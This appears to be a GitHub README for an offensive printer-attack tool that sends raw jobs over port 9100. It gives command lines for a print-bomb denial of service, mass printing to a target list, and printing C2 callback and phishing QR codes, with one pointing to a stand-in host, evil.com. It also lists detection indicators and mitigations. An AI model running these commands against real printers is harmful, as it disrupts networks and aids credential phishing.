____ _ _ _____ _ _ ___
| _ \| | | | | __ \ | \ | | _|
| |_) | | __ | | __ | |__) | __ | \| | | _
| _ <| | / _| | |/ / | ___/ ' \| . ` | | (_)
| |_) | | \_| | < | | | (_) | |\ | |___ |
|____/|_| \__ |_|\_\|_| \___/|_| \_|_____|
_ _ | |
| | | | | |
| |_| | | |
\___/ |_|
______
|______|
| |
|______|
🖨️ printerBOMB - Printer Spooling Attack Framework
Exploiting the overlooked attack vector: Your Network Printers
Developed by: Azhari Ramadhan 🔥
PrintHack is a sophisticated printer exploitation tool designed for security professionals, red teamers, and penetration testers. This tool leverages the raw printer spooling protocol (Port 9100) to perform security assessments, test printer vulnerabilities, and simulate real-world attack scenarios.
⚠️ DISCLAIMER: This tool is intended for legitimate security testing and educational purposes only. Use responsibly and only on systems you own or have explicit authorization to test.
- 🔌 Raw Socket Printing - Direct communication with printers via Port 9100
- 📄 PCL Payload Delivery - Send Printer Command Language payloads
- 🖼️ Image Exfiltration Markers - Print images as ASCII art for covert channels
- 💣 Print Bomb (DoS) - Send massive payloads to test printer resilience
- 🎯 Mass Printing - Target multiple printers simultaneously
- 🔴 Red Team Operations - C2 callback markers, phishing QR codes, exfiltration markers
| Feature | Description |
|---|---|
--check |
Test printer connectivity |
--test |
Send test page |
--message |
Print custom payloads |
--image |
Print image from URL (ASCII art) |
--pcl |
Send PCL formatted payload |
--bomb |
DoS attack (massive payload) |
--c2 |
Print C2 callback QR code |
--phish |
Print phishing QR code |
--exfil |
Print data exfiltration marker |
--file |
Mass print to multiple targets |
git clone https://github.com/AzhariRamadhan/CVE-PORT-9100.git
cd CVE-PORT-9100
pip install -r requirements.txt- Python 3.6+
Pillow- Image processingqrcode- QR code generationrequests- HTTP requests
pip install Pillow qrcode requests# Test printer connectivity
python3 printerhack.py -t 192.168.1.100 --check
# Send test page
python3 printerhack.py -t 192.168.1.100 --test
# Print custom message
python3 printerhack.py -t 192.168.1.100 -m "Hello from Red Team!"# Print image from URL (converted to ASCII)
python3 printerhack.py -t 192.168.1.100 -i http://example.com/image.png
# Send PCL payload
python3 printerhack.py -t 192.168.1.100 --pcl
# Print bomb (DoS - 10MB)
python3 printerhack.py -t 192.168.1.100 --bomb 10
# Print C2 callback QR code
python3 printerhack.py -t 192.168.1.100 --c2 "http://c2-server:8080/beacon"
# Print phishing QR code
python3 printerhack.py -t 192.168.1.100 --phish "http://evil.com/login" "URGENT: Verify your credentials"# Print to multiple printers from file
echo -e "192.168.1.100\n192.168.1.101\n192.168.1.102" > targets.txt
python3 printerhack.py -f targets.txt -m "Security Test Message"Print covert messages or instructions to compromised printers in physical access scenarios.
Print QR codes linking to credential harvesting pages disguised as security notices.
Use printer output as a covert exfiltration channel for encoded data.
Test organizational resilience against printer-based denial of service attacks.
Enumerate and identify printers across the network.
Detection Indicators:
- Unusual traffic on port 9100
- Large unexpected print jobs
- Print jobs with embedded QR codes or barcodes
- Repeated failed print attempts
Mitigation Strategies:
- Implement printer authentication (IPP Everywhere, SMB signing)
- Monitor printer logs for anomalous jobs
- Segment printers on separate VLANs
- Deploy printer security appliances
- Regular security assessments of print infrastructure
THIS TOOL IS PROVIDED "AS IS" FOR LEGITIMATE SECURITY TESTING ONLY.
THE AUTHOR IS NOT LIABLE FOR ANY MISUSE OF THIS TOOL.
ALWAYS obtain written authorization before testing any system.
Unauthorized use may violate Computer Fraud and Abuse Act (CFAA)
and similar laws in your jurisdiction.
Developed by: Azhari Ramadhan
Contributions welcome! Please ensure:
- Code follows Python PEP 8 standards
- All new features include tests
- Security-focused pull requests prioritized
Developer: Azhari Ramadhan 🔥
MIT License - See LICENSE for details
🖨️ printerBOMB - Exploiting the Last Line of Defense
Stay ahead of the attackers by thinking like them
Made with 🔥 by Azhari Ramadhan